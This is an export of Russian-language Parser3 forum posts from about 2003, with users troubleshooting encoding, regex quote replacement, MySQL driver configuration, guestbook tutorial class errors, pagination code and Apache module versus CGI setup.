увидите заголовок ответа сервера на запрос «http://www.вашсервер.ru/».\
\
это всё настроено в файле auto.p, который вы скачали из раздела download и [b]положили[/b] в тот же каталог, куда положили parser3.cgi"
"13918","вопрос в том - что и как нужно настроить в Дримвивере. С Парсером то похоже всё в порядке."
"13919","Я хочу подключить свой класс с помощью @USE,а он пишет ошибку\
мол надо использовать 'USE' \"CLASS' или 'BASE'"
"13920","зачем грешите на DW, если до конца не проверили?\
если лень делать описанный мной эксперимент, укажите в DW адрес http://parser.ru, там с кодировками точно нормально."
"13921","С парсером должен быть файл parser3.conf?"
"13922","Когда я с DW работал у меня этот глюк тоже был, но я извращался так: ^{<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">} вот эту строчку в любом месте страницы всатвляешь и нет проблем, но если честно я бы Вам посоветовал использовать ue для работы с p3"
"13923","извиняюсь\
не так\
^{<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">} \
\
а так\
\
^rem{<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">}"
"13925","потому что похоже на синтаксическую ошибку..."
"13927","Хочу менять кавычки \"\" на елочки.\
[code]\
^str.match[\"\\b([а-я0-9 .,:^;-]+)\\b\"][gi]{&laquo^;${match.1}&raquo^;}\
[/code]\
\
Почему-то срабатывает не всегда. В чем я накосячил?"
"13928","Я так делаю(пока пашет): \
^str.match[(“|”|\")][g]{&raquo^;} и ^str.match[(\\s„|\\s“|\\s\")][g]{ &laquo^;}"
"13929","Были здесь те, кто также как и я искали редакторы с подсветкой синтаксиса Парсера.\
\
Нашлось некоторое количество редакторов для Windows, для иксов и даже для консоли, помню что предлагали vim, говорили \"как научишься в нем работать, ничего другого не захочешь!\".\
\
Однако времени на изучение и установку vim я не нашел, но нашел следующее решение:\
\
Midnight Commander имеет встроенный редактор с подсверкой синтаксиса многих языков, но кроме Парсера.\
Как я это исправил:\
1) У меня парсеровские файлы имеют расширение не html, а другое, поэтому сначала я добавил в файл [code]/home/user/.cedit/syntax[/code] (в вашей системе этот файл может располагаться в другом месте, советую поискать [code]locate .cedit[/code] - обязательно найдете!\
Так вот, в этом файле есть следующий фрагмент:\
[code]\
file ..\\*\\\\.(htm|html|HTM|HTML)$ HTML\\sFile\
include html.syntax\
[/code]\
\
который я исправил на \
[code]\
file ..\\*\\\\.(p|htm|html|htmlp|HTM|HTML)$ HTML\\sFile\
include html.syntax\
[/code]\
\
то есть добавил подсветку синтаксиса для файлов с расширением \"p\" и \"htmlp\".\
\
2) Следующий шаг - добавить конкретные строки, которые надо подсвечивать в файл html.syntax, который в моем случае располагается в [code]/usr/lib/mc/syntax/html.syntax[/code]\
Меня пока хватило всего на несколько строк, а именно:\
[code]\
    keyword whole @*[] brightred/18\
    keyword whole $*[*] brightgreen/16\
    keyword whole ^if yellow/24\
    keyword whole ^switch yellow/24\
    keyword whole ^case yellow/24\
    keyword whole ^*.menu yellow/24\
    keyword whole ^connect brightred/18\
    keyword whole ne yellow/24\
    keyword whole eq yellow/24\
    keyword whole == yellow/24\
    keyword whole def yellow/24\
[/code]\
\
То есть подсвечиваются пока только самые важные для меня операторы,\
единственная большая неувязочка вышла с подсветкой переменных - теперь подсвечивается вся переменная вместе с присваеваемым выражением...\
\
Конечно, для многих из здесь присутствующих Америку я не открою, однако если кто-нибудь заинтересуется и сделает, а потом поделится файликом с синтаксисом Парсера - будет чудесно!\
Я со своей стороны тоже продолжу работу в этом направлении и всегда готов поделиться результатом."
"13930","потому что особо не надо. Мои методы короткие и на экран почти всегда влазят."
"13931","Хочу обратиться не к разработчикам Парсера, а к тем, кто его реально использует.\
\
До сегодняшнего дня мы, в своей работе, использовали второй Парсер. За последний год на Парсере сделали порядка 10-15 проектов, однако обнаружили, что второй Парсер сильно загружает машину (используются версии под FreeBSD 4.x и Solaris). Решили перейти на третий Парсер, установив его в качестве модуля Apache. А вопрос, собственно, очень простой. Насколько быстрее работает третья версия Парсера в отличие от второй, и вообще, работает ли она быстрее, или овчинка выделки не стоит? Вопрос касается как установки третьего Парсера в качестве модуля Apache, что не всегда возможно, так и без таковой установки (т.е. в виде простого CGI-скрипта).\
\
P.S. Разработчикам. Вы позиционируете Парсер, как более простую альтернативу PHP, но в реальной жизни на двухпроцессорном P4 с 1GB памяти, под FreeBSD 4.7, сайты на PHP (используется 4-я версия) загружаются почти не заметно (по 0.1-0.5% CPU и по 200-300К памяти), а сайты на Парсере (внешний CGI, вторая версия) отжирают до 50% CPU и до 50М памяти.\
"
"13932","по скорости он давно обогнал Parser2.\
\
в виде apache модуля/isapi extension Parser3 умеет кэшировать sql соединения.\
\
сейчас ведётся активная работа над уменьшением используемой памяти."
"13934","Сначала вы все \" замените на правые елочки, а во втором match-е вам уже нужно будет \\sправая_елочка искать\
И еще если кавычки стоят вначале строки, то вы получите лишний пробел"
"13935","и вообще используйте почаще поиск"
"13936","у меня на всех компьютерах установлен AVP, включая сервер под win2000, монитор и сканер ничего не нашел.\
Но сегодня пришел и ужаснулся, все файлы с расширением .p и .html пустые. Вернее объем у них остался прежний. в HEXVIEW показывает сплошные 00.\
при создании тестового файла с произвольным содержимым и публикации его на сервере, после обрашения к нему все внутренности пропадают. что могло произойти.\
\
Сетка к инету не подключена. на сервере win2000 стоит Apache с парсером в CGI директории.\
\
Какие ваши мысли. "
"13937","не могу понять вот это, как-то с документацией на связывается:\
[2003-02-28 13:27:02.000000]\
192.168.100.2:\
total\
0.01\
0.01\
/service/\
\
поля в строке \"разбил\" я"
"13938","Господа, следующая проблема, помогите советом, пожалуйста.\
Имеем таблицу, собранную из четырех (.join).\
Далее сортируем по дате (формат БД, т.к. реальные исходные таблицы - выборка из БД) и выводим ПОСЛЕДНИЕ пять записей.\
То бишь, пять новых.\
Для теста выводим всё (.menu) - всё корректно.\
Но стоит извратиться с переводом текущей строки в цикле - сортировка ломается.\
Уже выводил последние записи тремя, если не ошибаюсь, способами (^while, ^for, hash) - без толку.\
Где грабли? Почему разные способы вывода упорядоченной таблицы дают разный результат?\
\
Привожу код.\
\
\
@test_right[]\
Test:<br>\
$n[^table::create{name	date	comment\
n1	2002-10-05	/#\
n2	2002-05-03	/#}]\
$r[^table::create{name	date	comment\
r1	2001-10-14	/#\
r2	2002-04-12	/#}]\
$p[^table::create{name	date	comment\
p1	2003-02-13	/#\
p2	2002-04-26	/#}]\
$e[^table::create{name	date	comment\
e1	2003-01-08	/#\
e2	2001-03-21	/#}]\
^n.join[$r]\
^n.join[$p]\
^n.join[$e]\
^n.sort{$n.date}[desc] \
^n.menu{\
<nobr><font size=\"-2\">$n.date</font> <a href=\"$n.comment\"><font size=\"+1\"><b>$n.name</b></font></a></nobr><br>\
}\
\
@test_wrong[]\
Test:<br>\
$n[^table::create{name	date	comment\
n1	2002-10-05	/#\
n2	2002-05-03	/#}]\
$r[^table::create{name	date	comment\
r1	2001-10-14	/#\
r2	2002-04-12	/#}]\
$p[^table::create{name	date	comment\
p1	2003-02-13	/#\
p2	2002-04-26	/#}]\
$e[^table::create{name	date	comment\
e1	2003-01-08	/#\
e2	2001-03-21	/#}]\
^n.join[$r]\
^n.join[$p]\
^n.join[$e]\
^n.sort{$n.date}[desc] \
$lim(5)\
^for[counter](1;$lim){\
^n.offset($counter-1)\
<nobr><font size=\"-2\">$n.date</font> <a href=\"$n.comment\"><font size=\"+1\"><b>$n.name</b></font></a></nobr><br>\
}"
"13939","...\
[code]\
^str.match[\"\\b([А-Яа-я0-9 .,:^;-]+)\\b\"][gi]{&laquo^;${match.1}&raquo^;}\
[/code]\
\
По идее, ваш код правелен, может ему не хватает промежутка А-Я ?...\
\
Могу ошибаться..."
"13940","[code]\
^str.match[^^\"][g]{&laquo^;}\
^str.match[\\s\"][g]{ &laquo^;}\
^str.match[\"][g]{&raquo^;}\
[/code]\
\
Cначала заменяем на правые елочки только вначале строки, затем если впереди пробел, и уж на финал все оставшиеся (лапки не рассматриваю, их с клавиатуры не набрать).\
Но такая конструкция тоже не претендует на гениальность\
1) если перед кавычкой не пробел а символ табуляции то логичнее всего на него и заменять (пока не знаю как)\
2) Добавить проверку двоеточий для конструкций типа:\
Он сказал:\"А не пойти ли нам в гости\".\
3) И еще желательно сначала делать проверку опечаток:\
символ\"символ - менять на: символ \"символ, или на: символ\" символ\
(хотя это самое сложное, мы же не знаем с какой стороны точно опечатка)"
"13941","тебе надо или ^n.offset[cur]($counter-1)\
или, я бы сделал\
$my[^n.select(^n.line[] < $lim)]\
и затем\
^my.menu{\
 выводим все\
}\
\
можно еще так:\
^n.menu{\
   ^if(^n.line[] < $lim){\
      выводим\
   }\
}\
\
но при большой таблице это не рулез, лучше select"
"13945","а народ ленив и любит copy & paste делать из word`ов всяких"
"13946","потому что их с клавиатуры набрать никак нельзя... только если из word-а вставить, а моя задача этого не подразумевает, так зачем делать лишнюю проверку?"
"13947","Насколько я понял - rusage - это команда самого Парсера, мы загруженность сервера мерям несколько по иному. Например командой top."
"13949","1. Вход на logout идет через http://1:2@host.ru/user/logogut/\
2. Ескплорер помнит этот логин+пароль=1+2\
3. В системе есть 2 .htpasswd:\
3.1. 1-й содержит данные [b]по реальным пользователям[/b] (для аутентификации через /user/) там нет пользователя с логином 1 и паролем 2\
3.2. 2-й содержит данные [b]только по пользователю[/b] с логином 1 с паролем 2 (для выхода через /user/logout/)\
4. На logout'е идет редирект на / сайта или куда там надо.\
5. Таким образом хоть 10 раз (по  кнопке back) переходить на /user/ remote_user будет=\"1\" которого в базе нет и выдасться стандартное окошко аутентификации.\
6. Проверял на IE 5.х, 6.х. (коль скоро разговор зашел про IE)\
\
7. Я не утверждаю никогда того, что сам не проверял."
"13950","[code]\
^str.match[\"([\\w]+)][gi]{&laquo^;$match.1}\
[/code]\
Если справа стоит любой алфавитно-цифровой символ...\
[code]\
^str.match[([\\w]+)([.!\\?]?)\"][gi]{${match.1}${match.2}&raquo^;}\
[/code]\
то же но слева."
"13951","$my[^n.select(^n.line[] <[b]=[/b] $lim)]\
А то выводится не включая последнее значение $lim, то бишь 4, а не 5. "
"13952","Парсер в виде CGI или в виде модуля на платформе WIN32 и FreeBSD.\
Планируется использование MySQL."
"13954","Но если на одном apache сайтов несколько, то появляются сложности с обеспечением безопасности."
"13955","Ничего не нашел. после перезагрузки сервера все пришло в норму.\
странно это все."
"13956","Поясните.\
Если все сайты делаются разными людьми, то они могут получить доступ к конфигам друг-друга?\
Или что-то еще?"
"13957","плохо искали? какие-то логи filemon'а сохранились?"
"13959","0. Hellow, многоуважаемый All!\
\
1. Есть задача сделать прайс с возможностью выбора просмотра, выбора и заказа товаров\
2. Прайс вида: [b]товар[/b], [b]цена (именная, т.е. для каждого пользователя - своя)[/b], [b]поле для ввода кол-ва[/b]\
3. [b]Загвоздка[/b] - клиенту не хочется нажимать на каждом поле [добавить] в корзину. Он хочет, чтобы количество вводилось в поля, пользователь бегал по ссылкам - переходил на другие разделы, а затем нажимал кнопку [заказать] и ему выводился весь список заказанной продукции\
4. Еще требуется, чтобы ссылки на разделы поисковики могли свободно индексировать.\
5. Есть идея по реализации - сделать \
5.1. [code]<a href=/price/1/2/3/ onClick=\"this.form.submit()\">раздел №1</a>[/code]\
5.2. Если пользователь не аутентифицировался, то не выводить поля ввода кол-ва.\
6. А при загрузке страницы мы анализируем, что пользователь выбрал и добавляем в cookie\
7. При нажатии [Заказать] выводим все данные из cookie и шлем куда надо\
\
8. Вопрос к all - может быть кто-инбудь подскажет более эффективное/правильное решение?"
"13960","Проблема\
\
есть ^eval(тырымыры)[?]\
\
так вот что писать вместо ? если, у миня получаеться стопроцентно число небольше чем три знака, но! если получаеться 61 мне надо чтобы выглядело 061 если 7 то 007, если 0 то 000. \
\
Так что написать вместо ?\
"
"13962","топик"
"13965","Не знаю, что надо сделать, чтобы второй парсер отожрал 50Мб памяти. У нас есть только пара проектов, где он не влезает в 8Мб (но влезает в 16).\
\
Не верю, что примерно один и тот же код будет занимать 200-300K на PHP и 50Мб на parser3... Точнее уверен, что так быть не может. :) Видно что-то там не так.\
"
"13966","анализирует всё что можно, вплоть до вычисления путей пользователя по сайту (где зашел, что смотрел, где вышел...), результат оформляет красивыми графиками, можно сохранить на выбор в HTML, Word, PDF тоже вроде есть...\
\
www.netiq.com/products/log/ - он сам, триал правда.\
www.netiq.com/support/was/extended/geotrends.asp - базы для определения географического положения юзеров.\
 "
"13968","Помнится, не так давно говорили про шрифты Ромы Воронежского. Сегодня заметил, что они снова доступны для загрузки: http://www.narisoval.ru/download/fonts/"
"13969","Скажите пожалуйста,что это значит"
"13970","модуль быстрее, хотя я сам использую у хостера CGI на FreeBSD. "
"13971","топик"
"13972","Если я неошибаюсь то такая ошибка у миня выскакивыала на когда я всё подгрузил насервер. Там какая бы ошибка небыла выскакивет ета байда а сама ошибка записываеться в parser.log"
"13973","При вставке в БД содержимого с символами ' вылазит ошибка. Неправильно работает преобразование sql для данной СУБД. Я уже об этом сообщал: http://parser.ru/forum/?id=10589 - вроде это было исправлено в версии 3.0005 но в последней опять такая же фигня."
"13974","или ты не понял о чём речь?"
"13975","Т.к. вы устанавливаете Парсер как модуль к Апач, то он как бы становиться его частью, и получается, что Парсер запускается от того имени пользователя  под которым запускается сам Апач. \
Проблема, в том что Апач, чаще всего запускается от имени администратора, т.е. сервер имеет доступ ко всем папкам, ну скажем хотя бы ко всем  папкам пользователей виртуального хостинга.  Таким образом, что вам мешает с помощью Парсера не только использовать чужие модули, но и удалять файлы?\
Вы же как бы админ….:)\
Другой вариант, это CGI скрипт. Вы просто говорите  Апачу, страницы заданные по хендлеру нужно передать скрипту, т.е. запустить программу, а результат её работы выдать пользователю, таким образом Апач запускает программу, не от себя а от того пользователя(группы) кому принадлежит каталог, если хостинг настроен правильно(Парсер сам умеет работать с правами на доступ к файлам, если права установлены правильно, то всё ок, вот почему существует две версии Парсера, с safe mode и без неё), процесс CGI не получит доступа к чужим каталогам…\
Так что вот…\
\
А вариант модуля конечно быстрей, т.к. для обработки всех запросов используется один процесс, а  не столько сколько запросов…  \
"
"13976","Не только конфигам а вообще ко всем файлам других пользователей. Так как они будут вынуждены делать их readable for all.\
\
Однако утверждение Temp'а \"Апач, чаще всего запускается от имени администратора\" верно лишь отчасти. Он запускается от имени администратора, но сразу же понижает свои привелегии до пользовательских (обычно - nobody) и никаких прав доступа \"ко всем  папкам пользователей виртуального хостинга\", бОльших, чем у других пользователей, у него конечно-же нет."
"13978","У меня Apache и парсер под Windows сервер с PostgreSQL под FreeBSD, версию парсера 3.0007 ещё раз скачал сегодня думая что у меня глюки, но нет, ошибка вылазит снова. Причём тот же самый текст в MySQL вставляется без проблем, и в PostgreSQL вставляется текст но без символа '. Распинаюсь так потому, чтобы не думали что у меня ошибка в коде вставки записи в БД - ошибки там нет.\
\
Версия PostgreSQL 7.2.0 под FreeBSD 4.5, парсер 3.0007 под Windows, клиентская библиотека под Windows тоже для версии 7.2.0"
"13979","Вопрос конечно никакого отношения к парсеру не имеет (за это сразу прошу прощения), но на форуме всегда много умного народа, может кто подскажет мне, как такое можно сделать (ОЧЕНЬ НУЖНО И КАК МОЖНО СКОРЕЕ)\
\
Я пишу примерно такой *.bat файл:\
REM Создаю пользователя user1 (он автоматически попадает в группу Domain User)\
net user user1 qwerty /add /domain\
\
REM Добавляем пользователя в свою группу my_group\
net group my_group user1 /add /domain\
\
--------------------------------\
Теперь самое интересное!!!!\
чтобы сделать следующее действие, т.е. удалить пользователя из группы Domain Users, надо сделать Set Primary Group с группы Domain Users на группу my_group\
Внимание вопрос :)\
как из командной строки для пользователя user1 сделать Set Primary Group на группу my_group?????\
--------------------------------\
\
REM Удаляю пользователя из группы Domain Users\
net group \"Domain Users\" user1 /delete /domain\
"
"13980","Ставлю parser на kombat.ru, возникает проблема с libmysqlclient.so:\
[code]\
Unhandled Exception (Debug)\
driver failed to initialize client library 'libmysqlclient.so', can not open the dynamic link module\
./lib/libparser3mysql.so\
config(1)\
[/code]\
Всяческие игры с путями не помогли.\
\
Служба поддержки посоветовала \"...явно прописать в конфигурационном файле parser'а путь к этой\
библиотеке: /usr/lib/mysql/libmysqlclient.so\"\
\
Однако теперь возникает такая ошибка:\
[code]\
Unhandled Exception (Debug)\
function 'create' was not found\
/usr/lib/mysql/libmysqlclient.so\
\
./auto.p(18)\
[/code]\
\
Кто-нибудь знает, что эта ошибка значит?\
\
P.S. Хостинг -- kombat.ru, форум на эту тему посерчил, ничего из найденного не помогает."
"13981","А как побороть эту ошибку в пятом уроке?\
\
gbook/index.html(7): 'gbook' class is undefined [parser.runtime]\
\
Вот седьмая строчка:   $gb[^gbook::load[]]\
\
\
Помогите пожалуйста!"
"13982","во-первых есть это http://www.parser.ru/hosters/kombat.ru/1/\
напиши, этому человеку может поможет...\
во-вторых поиск\
http://www.parser.ru/forum/?terms=libmysqlclient.so&author=&doSearch=%CD%E0%E9%F2%E8\
\
посмотри...\
возможно путь поменять надо на \
/usr/local/lib/mysql/libmysqlclient.so\
"
"13983","Это означает что либо в index.html не подключен файл с классом gbook либо в этом файле название класса != gbook либо там вообще нет строчки:\
[code]\
@CLASS\
gbook\
[/code]"
"13984","[quote]\
во-первых есть это http://www.parser.ru/hosters/kombat.ru/1/\
напиши, этому человеку может поможет...\
[/quote]\
Написал, еще вчера, пока ответа нет.\
\
[quote]\
во-вторых поиск\
http://www.parser.ru/forum/?terms=libmysqlclient.so&author=&doSearch=%CD%E0%E9%F2%E8\
посмотри...\
возможно путь поменять надо на \
/usr/local/lib/mysql/libmysqlclient.so\
[/quote]\
\
Поиск делал, смотрел, путь менял и на такой, и на\
/usr/lib/mysql/libmysqlclient.so\
и даже копировал kombat'овский libmysqlclient.so в папку parser3/lib/\
Результат один и тот же:\
с libparser3mysql.so, входящим в дистрибутив parser'а, выдается ошибка \
[code]\
driver failed to initialize client library 'libmysqlclient.so',\
can not open the dynamic link module\
./lib/libparser3mysql.so\
[/code]\
\
а с kombat'овским libmysqlclient.so выдается ошибка\
[code]\
function 'create' was not found\
./lib/libmysqlclient.so\
[/code]\
и в случае прямого прописывания пути до него /usr/lib/mysql/libmysqlclient.so в главном auto.p\
и в случае копирования его в parser3/lib/ и использования его там.\
\
Что за \"[b]function 'create' was not found[/b]\" такая?\
\
Блин, разобрался бы сам, но надо срочно, поэтому и обратился сюда..."
"13985","У Вас в конфигурационном  методе должно быть написано\
[code]\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so тут должен быть нажат tab :)   /usr/lib/mysql/libmysqlclient.so\
\
}]\
]\
\
[/code]"
"13986","Что за \"function 'create' was not found\" такая?\
Парсер для подключения к БД использует функции из этой библиотеки... зачем писать что то своё если эта клиентская библиотека подставляется вместе с СУБД...\
так вот вы просто указали не на ту библиотеку, там этой функии НЕТ\
\
"
"13987","Все заработало.\
Теперь все понятно.\
Наверное так: [b]libmysqlclient.so[/b] -- клиент для работы программ с MySQL, [b]libparser3mysql.so[/b] -- драйвер для работы Парсера с клиентом [b]libmysqlclient.so[/b].\
Поэтому указание \"прописать полный путь вида /usr/lib/mysql/libmysqlclient.so\" относится к полю [b]client[/b] таблицы $.drivers в auto.p, а не к полю [b]driver[/b], чего я никак и не мог понять.\
Еще раз большое спасибо!"
"13989","А в том, что я упорно пытался вписать под разными соусами (путями) вместо драйвера libparser3mysql.so клиент libmysqlclient.so."
"13990","Я добавила в начале файла index.html для gbook:\
\
@CLASS\
gbook.p\
\
Теперь index.html выглядит так:\
\
@CLASS\
gbook.p\
\
@USE\
/classes/gbook.p \
\
@body_main[] \
Гостевая книга тестового сайта<br> \
<hr>\
\
$gb[^gbook::load[]] \
^gb.show_messages[] \
^gb.show_form[] \
^gb.test_and_post_message[] \
\
# и конечно же не забываем про остальные части  \
@greeting[] \
Оставьте свой след: \
\
@body_additional[] \
Нам пишут: \
\
Только вот он начал ругается по другому поводу.\
\
[Sat Mar 01 18:02:36 2003] /gbook/: c:/program files/apache group/apache/htdocs/auto.p(20): 'greeting' (void) not a method or junction, can not call it [parser.runtime]\
\
Почему?"
"13991","Еще добавил проверку имен файлов, указаных в $SQL.drivers.driver, чтобы там фигурировало слово parser3 :)\
"
"13992","Надо, чтобы скрипт писал в файл, находящийся на дске d:\\\
[code]\
^statistics.save[append;file://d:/stat.txt]\
[/code]\
не работает - ругается на путь\
было бы на С: -написал бы \"../../../../../stat.txt\"\
но это другой диск.....\
\
есть у кого-нибудь предложения по указанию пути?\
"
"13993","файл index.html должен выглядеть так:\
\
[code]\
@USE\
/classes/gbook.p \
\
@body_main[] \
Гостевая книга тестового сайта<br> \
<hr>\
\
$gb[^gbook::load[]] \
^gb.show_messages[] \
^gb.show_form[] \
^gb.test_and_post_message[] \
\
# и конечно же не забываем про остальные части  \
@greeting[] \
Оставьте свой след: \
\
@body_additional[] \
Нам пишут: \
[/code]\
Заметьте там (в index.html) не должно быть никакого @CLASS это [b]должно быть[/b] в [code]gbook.p[/code] который выглядит так:\
\
[code]\
@CLASS \
gbook \
\
@load[] \
^MAIN:dbconnect{ \
   $messages[^table::sql{select author, email, date, body from gbook}] \
} \
\
@show_messages[] \
^if($messages){ \
   ^messages.menu{ \
      <table width=\"100%\"> \
         <tr> \
         <td align=\"left\"><b>$messages.author \
            ^if(def $messages.email){ \
               $messages.email \
            }{ \
               Нет электронного адреса \
            }</b> \
         </td> \
         <td align=\"right\">$messages.date</td> \
         </tr> \
      </table> \
      <table width=\"100%\"> \
      <tr> \
         <td>$messages.body</td> \
      </tr> \
      </table> \
   }[<table width=\"100%\" border=\"0\" bgcolor=\"000000\" cellspacing=\"0\">  \
        <tr><td>&nbsp^;</td></tr> \
   </table>] \
}{ \
   Гостевая книга пуста. \
} \
\
@show_form[] \
<hr> \
<br> \
\
$date[^date::now[]] \
<center> \
<form method=\"POST\"> \
<p> \
Author<sup>*</sup><input name=\"author\"><br> \
E-mail&nbsp;&nbsp;<input name=\"email\"> \
<br>text<br><textarea cols=\"50\" name=\"text\" rows=\"5\"></textarea> \
</p> \
<p> \
<input type=\"submit\" value=\"Send\" name=\"post\">&nbsp;&nbsp;&nbsp; \
<input type=\"reset\" value=\"Cancel\"> \
</p> \
</form> \
</center> \
\
@test_and_post_message[] \
^if(def $form:post){ \
   ^if(def $form:author){ \
      ^MAIN:dbconnect{ \
         ^void:sql{insert into gbook \
            (author, email, date, body) \
         values ( \
            '$form:author', \
            '$form:email', \
            '${date.year}-${date.month}-${date.day}', \
            '$form:text' \
         )} \
      } \
      $response:location[$request:uri] \
   }{ \
      <center>Поле автор обязательно для заполнения</center> \
   } \
} \
[/code]\
\
Understand?"
"13994","Я сделала copy/paste из того что вы прислали. И вернулась к тому с чего начала:\
\
[Sat Mar 01 20:55:42 2003] /gbook/: c:/program files/apache group/apache/htdocs/gbook/index.html(7): 'gbook' class is undefined [parser.runtime]\
\
Помогите пожалуйста разобраться! Может в auto.p бида?\
\
@auto[]\
$connect_string[mysql://mila:12345@localhost/p3test]\
\
@main[] \
^header[] \
^body[] \
^footer[]\
\
@dbconnect[code]\
^connect[$connect_string]{$code} \
\
@header[] \
<html> \
<head> \
<title>Тестовый сайт Parser3</title> \
</head> \
<body bgcolor=\"#FAEBD7\"> \
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\"> \
   <tr  bgcolor=\"#FFFFFF\" height=\"60\"> \
      <td align=\"middle\"> \
         <font size=\"+2\"> <b>^greeting[]</b></font> \
      </td> \
   </tr> \
</table> \
<br> \
\
@body[] \
^navigation[] \
<table width=\"100%\" height=\"65%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\"> \
   <tr  bgcolor=\"#ffffff\" height=\"100%\"> \
      <td width=\"30%\" valign=\"top\" bgcolor=\"#EFEFEF\"> \
         <b>^body_additional[]</b> \
      </td> \
      <td width=\"70%\" valign=\"top\"> \
         ^body_main[] \
      </td> \
   </tr> \
</table> \
<br> \
\
@navigation[] \
$sections[^table::load[/sections.cfg]] \
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\"> \
   <tr  bgcolor=\"#FFFFFF\"> \
   ^sections.menu{ \
      ^navigation_cell[] \
   } \
   </tr> \
</table> \
<br> \
\
@navigation_cell[] \
$cell_width[^eval(100\\$sections)%] \
^if($sections.uri eq $request:uri){ \
   <td width=\"$cell_width\" align=\"middle\" bgcolor=\"#A2D0F2\">  \
   <nobr>$sections.name</nobr> \
   </td> \
}{ \
   <td width=\"$cell_width\" align=\"middle\">  \
   <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a> \
   </td> \
}\
\
@footer[] \
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"0\"> \
   <tr> \
      <td></td> \
   </tr> \
</table> \
$now[^date::now[]] \
<font size=\"-3\"> \
<center>Powered by Parser3<br>1997-$now.year</center> \
</font> \
</body> \
</html> "
"13996","Вот написал скроллер для форума.\
\
Может кому пригодится.\
Заодно еще может кто посоветует что ...\
\
[code]\
\
\
@pages[page;pages_all][up;down;down_diff] В метод передаются номер страницы и общее число страниц\
<div class=\"pages\">\
\
^if($pages_all > 1){\
\
&nbsp^;&nbsp^;Страницы:&nbsp^;\
\
# количество ссылок для быстрого доступа\
# определяется по формуле:\
# смещение с начала + 1 + смещение с конца \
\
# определяем верхнюю границу\
$up($page)\
# выбираем смещение с начала (-3)\
^up.dec(3)\
\
# определяем нижнюю границу\
$down($page)\
# выбираем смещение с конца (+3)\
^down.inc(3)\
\
\
# проверяем верхнюю границу\
^if($up <= 0){\
# если при смещении попадаем в ноль или в минус\
^up.mul(-1)\
# к нижней границе добавляем неиспользованные ссылки \
$down($down + $up + 1)\
# а верхнюю обьявляем 1\
$up(1)\
}\
\
\
\
# проверяем нижнюю границу\
$down_diff($down - $pages_all)\
^if($down_diff > 0){\
$up($up - $down_diff)\
$down($down - $down_diff)\
}\
^if($up <= 0){$up(1)}\
\
\
^if($down != $pages_all){<a href=\"/forum/thread.html?sid=$sid&amp^;page=$pages_all\" title=\"в конец :)\">&lt^;&lt^;</a>&nbsp^;|&nbsp^;}\
\
\
^while($down >= $up){\
\
^if($page == $down){\
<span class=\"current\">&nbsp^;$down&nbsp^;</span>&nbsp^;\
}{\
<a href=\"/forum/thread.html?sid=$sid&amp^;page=$down\">$down</a>&nbsp^;\
}\
^down.dec[]\
}\
\
^if($up != 1){|&nbsp^;<a href=\"/forum/thread.html?sid=$sid&amp^;page=1\" title=\"в начало :)\">&gt^;&gt^;</a>}\
\
}\
</div>\
\
[/code]"
"13997","Вы знаете, что Вас выдало?:)\
[color=\"red\"]\
Результат один и тот же:\
с libparser3mysql.so, входящим в дистрибутив parser'а, выдается ошибка\
*******\
а с kombat'овским libmysqlclient.so выдается ошибка\
*******\
[/color] \
\
я тут и понял что вы не различаете, что это два разных файла... так что вот, в следующий раз пишите по информативней или доходчивей, а то не все же телепаты:)))\
\
А Misha v.3 просто thanks, за всех новичков, ну должен же вам говрите спасибо,ч то иногда делает жизнь проще:) "
"13998","Вы абсолютно правы, вот только что отписал письмо в службу поддержки kombat'а, цитата оттуда (это я про себя):\
[quote]\
... В общем, все из-за непонимания того, что такое клиент, и что такое драйвер для работы с этим клиентом.\
[/quote]\
\
Насчет же телепатии :)\
Действительно, искусство решать проблемы -- это во вторую очередь дело техники, знания, а в первую -- это собственно умение понять, в чем проблема, особенно, когда ее излагает другой человек.\
\
В общем, не кинете мне на dbit@mail.ru свой email? (я собираю контакты людей-телепатов :) )"
"13999","чек йор меил бокс:) "
"14000","у меня несколько вопросов (в том числе и к дизайнерам студии Лебедева)\
1. Я вот заметил, что все ссылки на дизайн.ру ведут в папки.  Это что, так модно ли очень  удобно?\
\
Может быть, это из-за того, что удобно резать request:uri на части и собирать систему навигации?\
\
2. Если я осуществлю такую же систему навигации, как там, это не будет плагиатом (достаточно неординарная система)?"
"14002","Допустим,есть такой uri: www.site.ru/folder1/folder2/folder3/\
Режем на части\
$uri[^request:uri.lsplit[/]]\
\
Вопрос: как вывести, допустим, 3-ю строчку переменной $uri?\
А как вывести строчки со  2-й по 5-ю?\
"
"14003","Ваше преобразование слегка изменится:\
[code]\
$uri[^request:uri.split[/]]\
[/code]\
Вывод частей можно организовать так:\
[code]\
^uri.offset[set](2)\
$uri.piece\
[/code]\
Покажет 3 строку, т.к. поля начинаются с 0, а не с 1.\
А чтобы вывести блоком, нужно немного смекалки и цикл."
"14004","Если вы это все на локалке делаете, то это одно, а если хотите с сервера на локальный сохранять, то тут ничего не выйдет.\
Второе, рекомендую повнимательнее почитать руководство на тему сохранения файлов.\
Параметра append там нет, поэтому ваша строка должна выглядеть так.\
[code]\
^statistics.save[text;d:/stat.txt]\
[/code]\
В таком случае файл сохранится в корень диска D:"
"14006","см тут:\
http://parser.ru/docs/lang/stringsplit.htm\
\
далее выбираешь параметры, которые тебя больше устраивают.\
например, если тебе не нужно в циклах перебирать полученые куски url то стоит использовать опцию h, тогда полученые куски будут доступны так: $uri.0, $uri.1 ...\
\
если тебе надо будет перебирать их (что удобно делать с помощью menu), то опция v тебе в руки: ^uri.menu{$uri.piece}[<br />]\
\
далее, используй l или r для того, чтобы сообщить методу, слева на право тебе надо разбить строку или справа на лево..."
"14007","http://www.artlebedev.ru/kovodstvo/paragraphs/48.html\
http://www.artlebedev.ru/kovodstvo/paragraphs/49.html"
"14009","пока без описания, т.к. возможно еще кое-что доработаю.\
Но в принципе пример уже рабочий и посмотреть его можно здесь\
http://www.spearance.ru/parser3/pictures1/\
Суть примера заключается в том, что я беру фотографию, пропорционально ее уменьшаю, подрезаю края под рамку и ставлю рамку сверху. И получаю превьюк с рамочкой."
"14010","Почему JavaScript в Парсере не обрабатывается? Помогите пжлста"
